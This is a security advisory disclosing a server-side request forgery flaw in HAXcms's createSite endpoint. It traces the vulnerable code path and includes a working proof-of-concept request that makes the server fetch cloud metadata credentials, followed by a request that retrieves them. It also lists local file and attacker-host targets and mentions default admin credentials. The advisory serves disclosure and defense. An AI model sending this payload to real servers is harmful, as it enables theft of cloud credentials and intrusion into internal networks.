GHSA-q862-gcgq-5m6gHigh
HAXcms createSite SSRF Enables Arbitrary File Read
🔗 CVE IDs covered (1)
📋 Description
### Summary
An authenticated Server-Side Request Forgery (SSRF) vulnerability in HAXcms allows users to fetch arbitrary internal or local resources and write the responses to a web-accessible directory, enabling arbitrary file read and internal network access.
### Details
The `createSite` endpoint in HAXcms (v11.0.6) accepts a `build.files` parameter that allows an authenticated user to supply arbitrary URLs or local file paths. This input is processed without validation and ultimately fetched server-side using `file_get_contents()`.
The data flow is as follows:
- User input (`build.files`) is processed via `object_to_array()` into a PHP array
- Assigned to `$filesToDownload` in `Operations.php` (line 2626)
- Iterated over in `Operations.php` (line 2730), where each entry is passed to `HAXCMSFile::save()` with bulk-import enabled
In `HAXCMSFile.php` (line 30), the following occurs:
```php
file_get_contents($upload['tmp_name']);
```
Here, tmp_name is attacker-controlled and may contain:
- External URLs (`http://attacker.com`)
- Internal services (`http://127.0.0.1`)
- Cloud metadata endpoints (`http://169.254.169.254`)
- Local file paths (`/etc/passwd`, `/proc/self/environ`)
The bulk-import flag bypasses `is_uploaded_file()` validation, which normally ensures the file originates from a legitimate upload. The only restriction is an extension whitelist based on the filename (array key), which is fully attacker-controlled.
There are no restrictions on:
- URL schemes (`http`, `file`, `gopher`, etc.)
- Destination IP ranges (internal, loopback, metadata services)
- Response content
All fetched content is written to:
```
sites/<sitename>/files/<filename>
```
and is accessible via the web.
### PoC
Prerequisites:
- Authenticated session (default credentials: `admin/admin` on fresh installs)
- Valid JWT and CSRF token
Step 1: Log in and capture JWT + CSRF token
Step 2: Send crafted request:
```
POST /createSite HTTP/1.1
Host: target
Authorization: Bearer [JWT]
X-CSRF-Token: [TOKEN]
Content-Type: application/json
{
"site": {
"name": "poc"
},
"build": {
"files": {
"poc.txt": {
"tmp_name": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}
}
}
}
```
Step 3: Retrieve response:
```
GET /sites/poc/files/poc.txt
```
The response will contain the fetched content (e.g., cloud credentials or internal service data).
### Impact
- SSRF enabling access to internal network services
- Arbitrary file read via local filesystem paths
- Cloud credential exposure through metadata endpoints
- Data exfiltration via web-accessible file storage
Any authenticated user can exploit this to access sensitive server or infrastructure data, potentially leading to full system or cloud environment compromise.
🎯 Affected products1
- npm/@haxtheweb/haxcms-nodejs:<= 25.0.0